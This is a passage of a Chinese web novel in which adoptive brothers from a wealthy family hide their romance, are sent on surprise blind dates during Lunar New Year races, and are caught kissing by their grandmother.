“我们家口味相对清淡,你要是想吃别的,就告诉兰姨,让厨房再做。别像一诺似的假客气。” 陈一诺故乡上城位于内地北方,年三十习惯吃饺子,刚到陈家过年的时候,对着“九大簋”确实有些不适应。又怕麻烦不敢说。 陈一诺解释道:“后来,哥不是让兰姨给我准备了饺子当主食吗,我一口气吃两盘,没客气。” 兰姨笑道:“今年也备了饺子,白菜猪肉和西葫芦羊肉,大家都尝尝。” 庄嘉轩大笑:“老太太、兰姨你们放心,有得吃,我绝不客气!味道什么的都不挑!” “有一年过年,我姐非要带全家去北城旅行,零下二十几度,年三十晚到处打烊,根本吃不上饭。最后只能吃麦当劳,我妈,你们王校长不开心念叨好久,但我还是很欢乐。” 陈宗瑜说道:“对吗,我们也是普通胃,什么都能吃。” “可是,外人总以为我们每天都吃鱼翅捞饭,燕窝当水喝。单是熬汤,都得是“太史凤凰羹”的级别。” “他们也不想想,要是天天这样吃,我哥不到三十就得痛风。” 陈宗礼瞪她:“大过年的,能不能盼着我点好?” 陈一诺笑笑:“宗瑜也没说错,外人对我们滤镜真的很厚。” “前阵子,因为反垄断的事,我担心现金周转,决定找银行经理吃饭聊聊。” “现场,我和哥,加上两个银行经理,一共四个人。点了清蒸多宝鱼、脆皮鸡、白灼虾加一个时蔬,一个汤。四菜一汤,理论上够吃了。毕竟我们不是单纯商务宴请。我们是边谈公事边吃饭。” “中途,我出去打电话,回来途径厕所,听见那两个银行经理吐槽,说堂堂太子爷请吃饭,居然那么寒酸,连澳洲龙虾都舍不得点一只。羽南港的现金流看来很悬啊……” 陈宗瑜立刻不开心了,骂道:“唉!好烦这种双面人,表面上对你点头哈腰,背地里特别仇富,心里就盼着我们死呢!” 二婶瞪她一眼:“大过年说什么死啊死的,说点吉利的!” 陈宗瑜重说:“反正,我最烦这种双面人,表面上对你点头哈腰,背地里特别仇富,就盼着我们……吉利呢!” 看吴淑芬满意了,继续说:“也不想想,我们要是吉利了,银行的钱借不出去,不就抱着一起吉利吗!” 庄嘉轩被陈宗瑜左一句吉利,右一句吉利,逗得不行,作为鼓励给她夹了只鸡腿,附和道:“骂得好!这些人就得长点教训!一诺,后来怎么样?” 老太太看向陈宗礼:“宗礼的性格,肯定懒得计较的。” “我是懒得计较,但有人计较。”陈宗礼单手捧着汤碗,非常斯文地喝了一口。 所有人的目光都落在陈一诺身上。 小卷毛记仇,惹他不开心了肯定得咬回去的。 陈一诺豪迈地把喝空的汤碗放桌上,喃喃:“没错,我这人就是锱铢必较!” “那天吃完饭,我回头就包了龙凤楼所有澳洲龙虾,连龙虾带鱼缸一块打包到他们银行营业厅。想吃澳龙,陈少爷满足你!” 陈宗礼笑笑:“第二天,行长不敢吃,也不敢退回去,只好把鱼缸放营业厅里,对外说是旺风水,转头就把那个嘴碎的经理换了。” 陈宗瑜和庄嘉轩鼓掌叫好:“到底是哪家营业厅啊?我有空过去打个卡!” 老太太打量着他们摇摇头:“你们真是……何必呢!” 老太太崇尚中庸之道,哪边都不得罪。 可陈一诺不服:“老太太,他嫌弃我们请客寒酸就算了,还造谣我们资金链不行!想没想过后果?” “轻则被其他银行听见,不给我们批贷款,重则被zf部门听见,催我们加快进度,或者把我们换掉!他们嘴皮子随便说一句,承担风险,遭罪的是我们啊!” 老太太转头看陈宗礼:“你就由着他胡闹?” 陈宗礼没什么表情:“一诺也是担心蝴蝶效应。” “我们找银行聊,只想未雨绸缪,他出去乱说可是违反保密协议的。他那样做,就算小惩大戒吧。” 老太太摇摇头:“还是沉不住气。快三十了,那么浮躁。就该早点成家,找人管管你们。” 这句话一出,陈宗礼和陈一诺同时顿了顿。完全没料到话题是这个走向。 如何对家里人坦白他们的恋情,一直是他们心中的一根刺。 之前,各有各忙,对这件事,他们默契地不触碰,不去聊。但逃避,不代表这个问题不存在。 当老太太突然把问题捅到他们面前,谈判桌上巧舌如簧的两位大神,一时间不知道给什么反应。居然同时沉默了。 老太太自顾自道:“你看,现在宗瑜已经找到了嘉轩,这边我是放心的。” “你们两个当哥哥的,有什么打算?总不能让妹妹在你们前头结婚吧?说出去都不像话。” 港城婚嫁习俗比较多,其中一条,需按长幼顺序婚嫁。大白话,哥哥姐姐未结婚,弟弟妹妹不能先结婚。 陈宗瑜一听老太太这样说,心里一怯。自己谈恋情,让两个哥哥为难,这事她过意不去。 连忙帮腔:“奶奶,大过年的别说这些了。他们也不能立刻给你变一个孙媳妇吧!” “顺其自然呗,缘分来了挡都挡不住的。” 二婶也加入插科打诨的行列:“就是咯,顺其自然,保不齐宗瑜他俩撑不过半年呢?” “到时候宗瑜还跟一诺结婚,一场婚礼,两个孙子人生大事都搞定了。” 神他x,一场婚礼,两个孙子人生大事都搞定!一场婚礼,四个人的幸福都完了才对! 二婶劝人的角度过于新奇,桌上所有人都不愿意了,同仇敌忾喊道。 陈一诺、陈宗礼无语:“二婶!” 老太太叹气:“淑芬!” 陈宗瑜震怒:“妈!” 庄嘉轩无奈:“阿姨!” 成功把火力集中在自己身上的吴淑芬笑了笑:“哎哟,笑话嘛,笑话不算话。别那么认真~吃饭吃饭!” …… 老太太在饭桌上的话,被二婶的“玩笑”轻飘飘带过,唯独印在陈一诺心里。让他惴惴不安。 吃完饭,几个人轮番上桌,陪老太太打麻将。 老太太精力旺盛,一路打过了零点,和大家互道“新年快乐”后,才回房间睡觉。牌桌上,换他们四个年轻人一路打到凌晨四点才熬不住去睡。 陈宗瑜眼睛都睁不开了说道:“七点起床给老太太拜年,然后去南山寺,记得调闹铃啊!” 庄嘉轩摆摆手,打着哈欠:“知道了!” 睡觉的时间不到三小时,陈一诺连跟陈宗礼说“晚安”的力气都没有,回房间倒头就睡。 “滴滴滴——”闹铃响的时候,他觉得三小时如白驹过隙,好像眨眼就醒了。 他的手搭在眼睛上,无比后悔地喃喃:“麻将害人……” 他快速洗漱完,换了身衣服,去敲陈宗礼的房门。 结果,开门的是睡眼惺忪的庄嘉轩,头发乱糟糟,打着哈欠:“早……啊!” 哈欠传染,陈一诺忍不住也打了一个,问他:“你怎么在这儿?” 庄嘉轩挠挠头:“跟陈宗礼说了会儿话,直接睡他房里了。” “谁啊?”陈宗礼从庄嘉轩身后出来,看见陈一诺,把庄嘉轩拎到洗手间:“你赶快去洗漱!” 趁他不留意,偷偷把陈一诺堵在墙上亲了亲,陈一诺满嘴薄荷味。 “这是昨天的。”又亲了一下,“这是今天的!” “睡够了吗?脸色好像不太好。” 陈一诺手抓了抓他的侧腰,打了个哈欠:“没……困死了。” 陈宗礼摸摸他的卷毛:“上车睡一会儿。” 庄嘉轩的声音突然传来:“唉,老陈,有没有浴巾,我想洗个澡。” 陈一诺被吓得推了一把陈宗礼,陈宗礼也吓到了,后退一步,两人距离拉开。 庄嘉轩没听见反应,继续叫:“老陈!人呢?!” 他烦躁地咬着后牙:“你等我。我先把他灭口!” 被庄嘉轩一闹,陈一诺想找陈宗礼说话的心情全没了,勾着他的手,笑道:“大过年的,饶他一命吧。” “我下去喝杯咖啡,你们弄完赶紧下来。” 本以为,忙过大年初一就好,完全没想到陈家的过年行程能安排得那么满。 连续两天,白天基本都在各种寺庙、家宴应酬里度过。 晚上,他们就被庄嘉轩这个“电灯泡”,缠着玩游戏,打麻将。有时候玩得太晚,他也不见外,直接睡在陈宗礼房间。 几天下来,陈一诺根本找不到机会跟陈宗礼独处,更别说细聊。 可转念一想,过年聊这么沉重的话题似乎不合适,只能把事情压后。 …… 港城每年的大年初三,全港市民最关注的就是农历新年赛马日。 这天,港城赛马会现场热闹非凡,不但邀请明星劲歌热舞贺新年,还有传统舞龙舞狮表演。 当然,最热闹的盛事,还是看赛马“行大运”。 老太太是“赛马迷”,陈家在港城郊外有自己的跑马场,每年参加比赛。 过年前,陈宗礼特别选了几匹赛马,参加大年初三的新年赛马日比赛。 奔着新年“拉头马”的好意头,陈家决定举家到马场凑热闹。 赛马会对服装要求非常严格,男士必须穿日间正装(含马甲的三件套),女士必须穿礼服,需佩戴帽子或头饰。不按规定穿着的,一律不准入内。 陈家在赛马会有专属VIP包间,他们从VIP通道直达包间。 VIP包间相当大,面积相当于五星级酒店的总统套房,目测能容纳10-20人。 “哇!这露台,视野不错啊!” 庄嘉轩拉开露台的落地门,VIP包间配置了无边露台,视野正对着就是赛马场,看赛事一流。 陈宗瑜说道:“这里是整个赛马场看比赛最佳观赏位之一。这样的包间整个赛马场只有四间。” 四间VIP包间专属哪四家,不用问都知道了。 陈家兄弟也走到露台,一时间,三个风格迥异的贵公子,一个优雅端庄的千金,并排站在包间露台,俊男美女非常惹眼。 “卧槽!那不是陈宗礼和陈一诺吗?” 陈家兄弟的颜值太出挑,眼尖的记者一眼把他们认出。其他记者瞬间跟进,长枪短炮直接朝他们的方向“扫射”。张张都是豪门贵族的精致。 露台下方正对观众席,本来在专心看明星演出,突然被记者的动静影响,纷纷好奇往上看,也陆续有人认出陈家兄弟。拿着手机开始拍照拍视频。 这时,二婶款款走来,对陈宗礼说:“宗礼,你来一下。” 陈宗礼看了眼陈一诺,回头“哎”了声,跟着二婶走出包间。 过了一会儿,陈宗礼没回来。陈一诺心里慢慢腾起一丝不安。 给陈宗礼发消息没回,他烦躁地拿了根烟,看陈宗瑜在没点燃,只咬着。 有过了几分钟,忍不住问:“喂,二婶带着哥,神神秘秘去哪儿?” 陈宗瑜满脸意味深长:“徐颖你听说过吧?” 一诺皱眉想了想:“石油大王徐启的千金?” 陈宗瑜点头:“对咯!你以为老太太真的想来赛马场“拉头马”嘛?她是想拉陈宗礼去相亲。” 一旁的庄嘉轩满脸不可思议:“陈宗礼也要相亲?” 陈一诺耳朵“嗡”的一声响,嘴里的烟,不留神,用力一咬,从圆形咬成扁的。 是啊,陈宗礼居然也要相亲?! 还是瞒着我相亲?!—— 作者有话说:完了,完咯,完蛋咯~ 九大簋(gui):查这个字的写法才知道普通话也念“鬼”,粤语也是。 太史凤凰羹:太史菜系里的一道名菜,蛇肉、鸡肉炖烂的羹 第97章 “你那么惊讶干嘛?” 陈宗瑜嫌庄嘉轩大惊小怪:“按照陈宗礼的性格,要是老太太不替他多操心,多撮合,他能自己找对象吗?” 陈一诺心答:他能啊。 陈宗瑜继续:“再说,他这个身份地位也不好找。这个徐颖,石油大王的千金,听着就挺门当户对的。” 陈一诺心答:集团总裁,陈宗礼的竹马,听着不是更门当户对么? 陈宗瑜看陈一诺脸色不好,误以为他觉得老太太操心陈宗礼,忽略他,特意安慰道:“一诺哥哥,你放心,相亲你也有份。老太太给你也物色了人选。” 陈一诺完全没想过还有自己的戏份,诧异道:“我也要相亲?” 陈宗瑜挑眉:“是啊,惊不惊喜,意不意外?” 陈一诺心脏都要跳停了,还惊不惊喜,意不意外? 庄嘉轩双手合十,如父亲般殷殷叮嘱道:“一诺,求你好好相!认真相!你也谈个恋爱,别总让我如履薄冰。” 陈宗瑜拍他:“哎,都说了我跟一诺哥哥纯兄妹!你怕什么呀?” 庄嘉轩嘀咕:“你是纯,你妈不纯啊……” 陈一诺无心听两人打情骂俏,想到自己要相亲就心烦。 烦什么来什么,吴淑芬再次回到包间,跟陈一诺说同样的话:“一诺,你来一下!” 陈宗瑜眼睛弯弯,嘴角上扬:“说什么来什么,赶快接住丘比特的箭吧~” 庄嘉轩搭着陈宗瑜的肩膀,做了一个拉弓的姿势,给他“加油”。 看着他们眼里的期待,让陈一诺想起电视里,目送孩子上学,望子成龙的爹妈。 而陈一诺,只想逃学。 …… 几分钟后,陈一诺被二婶带到赛马场里的一家法式餐厅。 在来的路上,二婶跟他简单介绍了对方的基础资料:“向箐,跟你同岁,父亲在A国开公司,主要研发AI机器人。” “向小姐是混血儿,在A国长大,你在那边生活时间久,肯定有很多话聊。” 陈一诺内心纠结,说实在的他不喜欢相亲,本想跟二婶直接摊牌,可转念想到陈宗礼没拒绝,心里就堵得慌。 吴淑芬看陈一诺的表情,叹气:“唉,知道你们年轻人不喜欢相亲。要不是宗瑜眼瞎了,我也不想把你介绍给别人……” 陈一诺不想相亲,更不想给吴淑芬当女婿。 他非常认真道:“二婶,宗瑜的婚姻,还是得选她喜欢的。她跟庄嘉轩真的很适合。” 感情事,外人说再多也没用,二婶也知道陈宗瑜认准了庄嘉轩,叹了口气:“我心里知道姓庄的人不错,就是……算了不说了。” 话说到这儿,他们已经走到包间门口了,既然来都来了,那就见一见吧。 抱着这样的心情,陈一诺推开包间的门。 向菁如二婶介绍的一样,五官立体,黑发碧眼,身穿黑色小礼服,气场很足,是位从眼神就能看出野心的女士。 她看见陈一诺时,眼睛一亮,主动伸手自我介绍:“你好,我叫向菁。” 他跟对方虚握了握,尽量得体:“你好,我是陈一诺。” 虽然,陈一诺的表情很放松,但他脑子是木的。脑海里只有一个想法:同一时间,在差不多的包间,他跟陈宗礼分别跟一个女生在相亲,这件事让他感到荒诞。 向菁笑道:“其实我认识你,我也念NYU,学习人工智能专业。” 陈一诺后知后觉地看了眼二婶,心惊,从哪里找的相亲服务,这对象匹配度高得吓人。 他不漏声色道:“NYU的人工智能挂科率很高,你肯定很优秀。” 向菁非常谦虚:“还行吧,为了考试,我也是拼过命的。” 陈一诺笑笑,非常丝滑又转到工作的问题。 陈一诺有一个引以为傲的技能:一心二用。 表面上跟女生谈笑风生地交谈,内心里却信马由缰地神游。 他忍不住想,徐颖跟陈宗礼的适配度是不是也很高?他们是不是也很多话题可以聊?陈宗礼话那么少,他也会礼貌回应对方吗? 这么一心二用着,连二婶什么时候离开包间,他都不知道。 …… 陈一诺很难形容此刻心里的感受。 最初,得知陈宗礼相亲的时候。陈一诺第一反应是生气,气炸了。他甚至觉得头上的卷毛,被怒意激得集体炸起。 但当他也坐在包间里,也被安排一场相亲。 聊到后来,甚至发现,他跟相亲对象蛮聊得来的。 聊得越久,心里的气也慢慢消了。到后来,他甚至觉得跟向菁当个普通朋友也不错。 情绪稳定后,陈一诺终于能冷静看清,他跟陈宗礼默契逃避的问题,其实,是“囚徒困境”的模样。 …… 第一次听说“囚徒困境”四个字,还是陈宗礼教他的。 当年,港城有两家功能饮料品牌,各占50%市场份额,可以说势均力敌。 每年暑假,都是饮料的销售旺季,品牌方会在暑假投入大量广告费用,占据消费者认知,提升销量。 理论上,费用越多,当季销量越高,也就更有机会提升品牌的市场占有份额。 在这里他们面临的“囚徒困境”大概有两种: 如果双方合作,两个品牌沟通好暑假广告预算,并且按约定执行,那么他们的市场份额大概率保持不变。 事实上,品牌主每年都以占据更高的市场份额作为投放目标。因此,只要其中一个品牌提高广告预算,另一个品牌就不得不提升广告投入。 如此,双方就陷入一个投放战役的“囚徒困境”。 当时,陈宗礼洞悉到品牌方的“囚徒困境”,作为港城最大电视台TVA的老板。 他利用品牌方的困境,在投放前,让广告部放出风声,把A品牌的投放预算透露给B,B知道A的投放预算高于自己,心想,这我不得加码赢过他?! 于是,默默提高预算,TVA广告部又把B提高预算的消息告诉A。 最终,双方都被迫同时增加广告费用。这一顿操作,最终赢家,自然是港城最大电视台的拥有者陈宗礼。 …… 贯会利用别人“囚徒困境”从中获利的陈宗礼,面对自己的“囚徒困境”会如何破解呢? 如果他们合作,一起向老太太坦白他们恋人的关系。以后,他们就不需要在家人面前躲躲藏藏。自然也不需要相亲。 唯一的缺点就是,家里的长辈,特别是老太太会接受不了,会很伤心。 陈一诺都不舍得让老太太伤心,陈宗礼只会更舍不得。 再说,他有什么立场,跟老太太坦白自己的恋爱对象是陈宗礼呢?? 当年,要不是老太太好心把他领养到陈家,供书教学。他一个孤儿,还要被那群吸血鬼亲戚包围,纠缠着。 但他报答老太太的方法,居然是把她唯一的孙子掰弯了,直接断了百年陈家的继承。坦白说,老太太把他撕成碎片都是轻的。 但是,如果他们选择,不告诉老太太。 以后,一边偷偷摸摸“地下恋”,一边接受老太太安排的相亲。 理论上行得通。唯一的缺点,无论他跟陈宗礼谁去相亲,另外一个人都会很难过。长远来看,对他们的感情太消耗。陈一诺同样舍不得。 商场上,向来杀伐果断的陈一诺,此时,却左右为难。 …… “唰——”VIP包间门打开。 相亲结束的陈宗礼阴着脸走进来,陈宗瑜跟庄嘉轩两个“八卦精”,立刻往上凑,轮番八卦。 陈宗瑜:“那么快就回来了?相亲怎么样?” 庄嘉轩晃着红酒杯:“有没有一见钟情?” 陈宗礼冷声道:“没有!” 陈宗礼被二婶带去相亲的时候,第一反应是愤怒。 他知道老太太着急让他谈恋爱。但没想过会,着急到,毫无预警,直接把他骗到赛马会相亲!! 可愤怒归愤怒,他的家教不允许他对客人冷脸。他只能耐着性子跟徐颖聊了一会儿,尽早结束这场闹剧。并祈祷陈一诺不知道他去相亲。 结果,听陈宗瑜说的第一句,他眼皮跳了跳:完蛋了,陈一诺已经知道了。 陈宗礼前所未有地心虚,那双上斜眼四处扫视。从包间里,到露台上,都没看见陈一诺的身影。 “咳咳……”他咳嗽了声,若无其事问,“一诺呢?” 陈宗瑜故意起哄道:“都给你安排相亲了,他能乐意么~” 陈宗礼心里“咯噔”一下,迟疑道:“他……他不乐意了?” 庄嘉轩笑道:“刚开始确实不乐意,不过放心吧,老太太给他也安排了相亲!” 陈宗礼“蹭”地站起身,眉头能夹死苍蝇:“他也去相亲了?!” 庄嘉轩仰头看他,没懂他为何反应那么大,愣了愣:“是啊……比你去得晚,估计现在还聊着呢!” 这时二婶带着老太太走进来,看见陈宗礼,扬声问:“唉,宗礼,聊得怎么样了?” 在长辈面前,向来稳重的陈宗礼语气非常不友善,劈头问吴淑芬:“二婶,一诺在哪个包间?” 二婶被他的气势吓得往后退了半步,迟疑道:“就在法餐厅的V6包间,怎么了?” “我去找他……”说完,一阵龙卷风似的,从包间里消失了。 二婶茫然地看着陈宗瑜和庄嘉轩,问道:“一诺还在聊着呢,他过去干什么?吃错药了?” 老太太冷冷地看着陈宗礼反常的背影,皱了皱眉。 …… 陈宗礼没在V6抓到陈一诺,因为他前腿刚迈进餐厅,抬眼就看见陈一诺和他的相亲对象从包间出来。 相亲对象,是一个打扮非常酷的混血儿。 陈宗礼的目光快速一扫,最后视线停留在陈一诺身上,想通过表情判断他此时的心情。 陈一诺看着陈宗礼,眼神闪了闪,没说话。 反倒是向菁好奇地看着陈宗礼,问道:“一诺,他就是你哥吗?” 陈一诺如梦初醒般,点头道:“是。他叫陈宗礼。是我哥……” 转头跟陈宗礼介绍:“这位是向菁。” 陈宗礼目光从陈一诺身上移开,落到向菁脸上。他调整着情绪,伸手跟对方握了握:“幸会。” 对方笑笑:“你好,你们虽然不是亲兄弟,但都好帅!” 陈宗礼牵强地扯扯嘴角,没说话。 反倒是陈一诺体贴问道:“你现在打算走了吗?还是再看几场赛马?” 陈宗礼有些恍惚,什么意思,如果对方要看赛马,他还要陪着不成? 幸好,向菁敏感地察觉陈宗礼眼神里的不友善,识趣道:“不了,赛马我看不懂,还是早点回家休息。” 陈一诺点头:“好,那我送你去停车场。” 走廊不宽,只能容纳两个人,陈一诺跟向菁走在前面,聊着一些琐事。陈宗礼阴着脸在后面慢慢跟着。 等他们进了电梯,陈宗礼故意跟陈一诺并排站着,肩膀相抵,发出“沙沙”的衣料声。 陈一诺悄无声息地靠着电梯角落,拒绝意图非常明显。 去停车场途中,陈一诺也没给陈宗礼一个眼神,没跟他说过一句话。 等向菁的车慢慢开远,陈宗礼看着陈一诺的背影,手指搓了搓,叹了口气:得,小卷毛生气了—— 作者有话说:囚徒困境是一种心理博弈,双方达成合作、背叛,一方合作一方背叛,等情况获得最大收益。其中的一个广告投放案例帮助大家理解。 第98章 目送向菁的车离开后,陈宗礼心里打鼓,他拿不准陈一诺的想法。 他凑到陈一诺耳边,开玩笑道:“别看了,再看她该误会你不舍得了。” 陈一诺耳廓红红的,冷不丁问他:“你会舍不得吗?送徐颖离开的时候……” 陈宗礼心脏猛地被捏了一下,变了脸色说道:“当然不会。” 陈一诺转头朝他伸手:“有车钥匙吗?” 陈宗礼怔了怔,觉得陈一诺看他的眼神,跟他刚回港城那时差不多,看得他透心凉。 他内心打鼓,从口袋掏出库里南的车钥匙,快递到他手上时,忽地收回,问他:“不开心了?” 陈一诺看着对方,凉凉的目光里夹杂着许多情绪。 本来,他已经自我消解得差不多了。可看见陈宗礼的时候,心里那股压下去的气,立刻卷土重来,负面情绪占据了上风。 陈宗礼偏偏还要问他,是不是不开心。 他想嘴硬说没有,但眼神已经出卖了他。 他干脆不回答,沉默地夺过陈宗礼手中的钥匙。 “滴——”按下解锁键,刚要拉开车门,被身后的大手按住。 陈宗礼冷声道:“生气就不要开车!你想去哪儿,我来开!” “不用!”陈一诺不愿意,陈宗礼也不让步,两人傻傻站在车旁僵持着。 赛马会的停车场人来人往,旁边停了几辆,车上下来的观众,看见他们僵持着,纷纷投来异样目光。 过了一会儿,陈一诺先让步,松开手不争了,绕过车头直接坐上副驾。 驾驶位的陈宗礼系好安全带,看向闷闷不乐的陈一诺,问他:“想去哪儿?” 陈一诺头朝窗外,懒得看他,冷冰冰道:“回家。” …… 回陈家老宅的路上,车厢内的气压低得吓人。 开车的陈宗礼不时偷看陈一诺,尝试几次没话找话,说陈家的马状态不佳,说庄嘉轩输了几场……陈一诺始终看着窗外,不搭理他。 在一起的这段日子里,他们从没“冷战”过,这对于恋爱新手陈宗礼来说,简直无从下哄。 陈宗礼堂堂太子爷,被人捧着顺风顺水顺了一辈子,唯独在陈一诺身上吃尽苦头。 他抿着唇,握紧方向盘,火气全发泄在油门上,眨眼连超三辆车,把公路开出赛道的感觉。 十五分钟后,库里南缓缓停在老宅门口。 刚停稳,陈一诺毫不犹豫解开安全带,直接下车往老宅走。 陈宗礼顾不得那么多,扔下车,赶紧追上去。 他拽着陈一诺的手臂,姿态非常低:“诺诺,你先别生气,跟我聊两句。” “啪——”一声响,陈一诺双手一推,把陈宗礼抵在老宅门上,压抑的情绪终于爆发。 “我跟你聊什么??” “陈宗礼,我问过你,老太太对你的感情,有没有想法。每次你都说没有!” “那为什么,她要安排你去相亲?” 陈一诺的力气非常大,陈宗礼后背猛磕在门框上,感觉后背的骨头要断了。 他深吸一口气,说道:“我也是被临时通知去相亲,之前,我真的一点不知道。” “我回头跟奶奶说,说我不想相亲了,行不行?” 陈一诺上前半步,追问:“你为什么不想相亲?” 陈宗礼皱紧眉头,神情痛苦,分不清这种痛苦是后背磕的,还是被陈一诺气的。 他反问:“我为什么不想相亲,你不知道吗?” 陈一诺摇头,眼眶红了:“我不知道。” 他低头看着地面,不愿意被陈宗礼看见他的激动。 “遇见你之前,我没喜欢过人。我不会表达情感,更不会处理感情问题。” “我只知道,我们陷入了一种很难解的困境。” “我们面前有两条路,一条是跟老太太承认我们在一起。那我就成了整个陈家的罪人。老太太恨我,我恩将仇报,我没了家。” “另一条,我们继续隐瞒,继续接受老太太安排的相亲,直到我们其中一个受不了,分手收场。” “那时,我没了你,也没了家。” 陈一诺本想忍住的,但触及内心最害怕的,眼泪忍不住“簌簌”往下流。 他想不通,就把无解的问题撕开,把自己的无能为力袒露在陈宗礼面前。 他想不明白,明明都重生了,改变命运了。那道害怕被遗弃的古早伤疤,应该早被埋在几千米的地底炼成化石了。怎么一点风吹草动,它就血脉觉醒了呢?! 陈宗礼忍着后背的疼,张开双手,想给陈一诺一个拥抱。 可陈一诺后退一步,干脆地躲开,陈宗礼索性主动往前再走两步,强势地把人扎扎实实搂在怀里,说道:“诺诺,你听我说!” “我不听!”陈一诺还要挣扎,但力量上比不过对方,到最后,只能放弃。 陈宗礼揉着他的背,摸摸他的卷毛,感受到他冷静,才喃喃:“你听我说……” “感情的问题,老太太确实跟我提了几次。” “没告诉你,一是知道你容易胡思乱想,怕有心理负担;二是时机不对。这段时间,发生太多事情,要么你在忙反垄断的事,要么受了伤。” “本想过年找时间跟你说,但确实没找到机会,这一点主要赖庄嘉轩。” 本来沉浸在哀伤里的陈一诺,听见“庄嘉轩”三个字,忽然笑了声。 陈宗礼谈判技术依然了得,献祭一个庄嘉轩,谈话气氛立刻变得轻松许多。 陈宗礼连忙趁热打铁:“我实在没想到,老太太会那么着急安排我们相亲。” “你不知道,我在包厢里心情多焦虑,我一直在看时间,就怕你知道我在相亲不开心。” “就是没想到,你也在相亲。” 陈一诺闷声道:“知道我也在相亲,你开心坏了吧?” 陈宗礼浅吻着他的侧颈,冲着他耳边道:“什么开心坏了,我简直要怕死了……” 陈一诺抬起眼看他,眼神里全然不相信:“你骗人。” 陈宗礼手指着天:“哥发誓,没骗你。” 陈一诺不解:“你怕什么?” 陈宗礼无力地笑了,双臂抱紧了些,左右晃着陈一诺,哄小孩似的,边摇边说。 “你跟我不一样,你在感情上开窍得晚,从没喜欢过什么人,像一张白纸。” “要不是我死皮赖脸跟你表白,我们可能这辈子都成不了。” “如果我们没在一起,你就有很多种可能,可能喜欢女生,也可能喜欢男生……老太太挑人眼光又毒辣。万一相亲的时候,你忽然发现自己其实可以喜欢女孩,那我怎么办?” “一想到这儿,我真的怕死了。” 陈宗礼这句话轻描淡写,陈一诺却听出底色的悲凉。 原来,在陈一诺左右为难的时候,陈宗礼也在患得患失。 陈宗礼继续道:“换作一年前,我想都不敢想能跟你在一起。” “要不是怕太心急,吓着你。我都想立刻向全世界宣布,你是我的。但你也知道,现在还不是时候。我只能忍着,让你受委屈了。” “这样吧,相亲的事,我来处理,其他的,你再给我点时间,好不好?” 谁能想到,陈宗礼能说出如此柔情似水的话哄人,换别人,此时就该点头如捣蒜,什么都依他的,他说什么就是什么。 可陈一诺不是别人,他抬头看着对方,问道:“陈宗礼,我就知道这毛病你改不了。” 陈宗礼怔愣着,没反应过来陈一诺话里的意思。 “高中的时候,我还小,没法跟你并肩作战就算了。” “现在我们工作上是合作伙伴,感情上是恋人,为什么出了事,你第一时间还是想一个人处理?” “陈宗礼,你的恋爱,不是跟我谈吗?” 陈宗礼被怼得哑口无言。他顿了几秒,上斜眼里瞳孔颤动,他垂眸看着陈一诺。 今天,陈一诺罕见地戴了灰绿色美瞳,让人想起赛马场绿茵草坪。这颜色也特别有神,像一道锐利的光剑,戳破他的心房。 他感慨又恍然:“是啊,我在跟……你!谈恋爱啊。” “我该跟……你!一起处理的。” 他说“你”的时候,故意加了重音,像在给自己心理暗示,企图把这个“领悟”刻进心里。 但说得容易,习惯“所有问题都自己扛”的陈宗礼,怎么能秒变“所有问题都跟陈一诺扛”呢? 这时,眼前有车灯晃过,缓缓朝他们的方向开来。 陈宗礼灵机一现,既然没有理论支撑,那不如实践中体验。 他忽然对陈一诺说:“既然早晚要一起面对,那我们就不等了。” 陈一诺茫然地看着他,不知道他话里什么意思。 下一秒,陈宗礼熟练地捏着他的下巴,慢慢朝他靠近,陈一诺对恋人亲昵时的前摇非常熟悉,他带着满脑子疑惑,熟练地闭上眼睛,随他印上一个深吻。 没亲几秒,陈一诺甚至没来得及张嘴,两把熟悉的声音从他的背后传来。 老太太喊道:“陈宗礼!你在干什么!” 二婶喊道:“我的妈呀!那是……一诺?” 两把声音,把陈一诺吓得差点魂飞魄散,他一把推开陈宗礼,脑袋一片空白,浑身血液狂奔,心脏差点要从嘴巴跳出来。 他看了一眼陈宗礼,对方不紧不慢,甚至奸计得逞似地,微微扬起嘴角。 他瞬间明白,陈宗礼说的,不等了,是什么意思…… 就是“搞事情”的意思。 目睹“兄弟接吻”事件的庄嘉轩,快速跑到他们之间。 左看看陈宗礼,右看看陈一诺,满脸惊恐,结结巴巴道:“你们……你们俩……在玩大冒险?” 陈宗礼看傻子似的,问他:“谁家兄弟玩大冒险,挑战接吻的?” 得知真相的庄嘉轩单手捂嘴,指着陈一诺:“我是想你谈恋爱,但这也不是跟陈宗礼谈啊!” “这也太离谱了吧……” 陈一诺僵硬地转过身,发现除了庄嘉轩,身后还站着陈宗瑜、吴丹妮和老太太,一众保镖,都亲眼目睹了“兄弟接吻”的一幕。 他相信陈宗礼有奇招应对“囚徒困境”,万万没想到,这奇招居然是“突然的自爆”。 老太太奉行“人前不训孙”的铁律,她压着脾气,冷声道:“聊够了吗?聊够就进来!!” 老太太往前走一步,差点没踩稳,吓得二婶和陈宗瑜“左右护法”搀扶着进门。 经过两个哥哥身边时,陈宗瑜的脸色由黑转白再转红,表情非常复杂地进了老宅。 等他们走远,陈一诺朝陈宗礼的胸口用力一拍,这一拍力度很大,生生把陈宗礼拍退一步,背后的骨头二次受创。 陈一诺来不及体谅他,咬着牙说道:“陈宗礼,你可真行啊!” 第99章 这辈子,陈宗礼没做过叛逆的事。没做过,所以不做则已,一做惊人。 他在长辈面前,吻自己的恋人。 让长辈知道,他的恋人是个男人。 这个男人,还顶着他“弟弟”的身份。 叛逆,太叛逆了…… 叛逆得让庄嘉轩大受震撼,甚至得出了一个道理:“所以说,叛逆跟谈恋爱一样,就应该从娃娃抓起。” “等长大了再叛逆,再恋爱,那肯定得出大事。你看看现在,豪门伪骨科了吧……” 陈宗瑜手肘直戳他肚子,压低声音警告道:“闭嘴吧,都什么时候了,你还发表感言。” 庄嘉轩捂着肚肚,惊讶地看着陈宗瑜:“我发现你越来越……” 陈宗瑜挑眉,声音带着警告:“怎么?” 庄嘉轩表情从惊讶变成谄媚:“我发现你越来越飒~太迷人了!” 陈宗瑜红着脸“啧”了声,发愁道:“别不正经,想想怎么办吧!” 庄嘉轩摸了摸寸头,也发愁:“还能怎么办啊?今天他俩至少脱成皮啊……” …… 一群人风风火火从前院走到客厅,气氛相当凝重。 压抑着怒意的老太太,被搀扶着走到沙发旁,甩开吴淑芬的手,抓起茶几上的杯子“砰——”往柱子上摔。 慈祥的老太太露出当年叱咤商场的狠劲,她表情凝重地看着陈宗礼和陈一诺,厉声道:“跪下!” 两兄弟二话不说,甚至没敢跪在长绒地毯上,直接“咚”地跪在冰凉又硬的大理石地板上。 不知道事情经过的兰姨,听见摔杯声,小碎步跑出客厅。 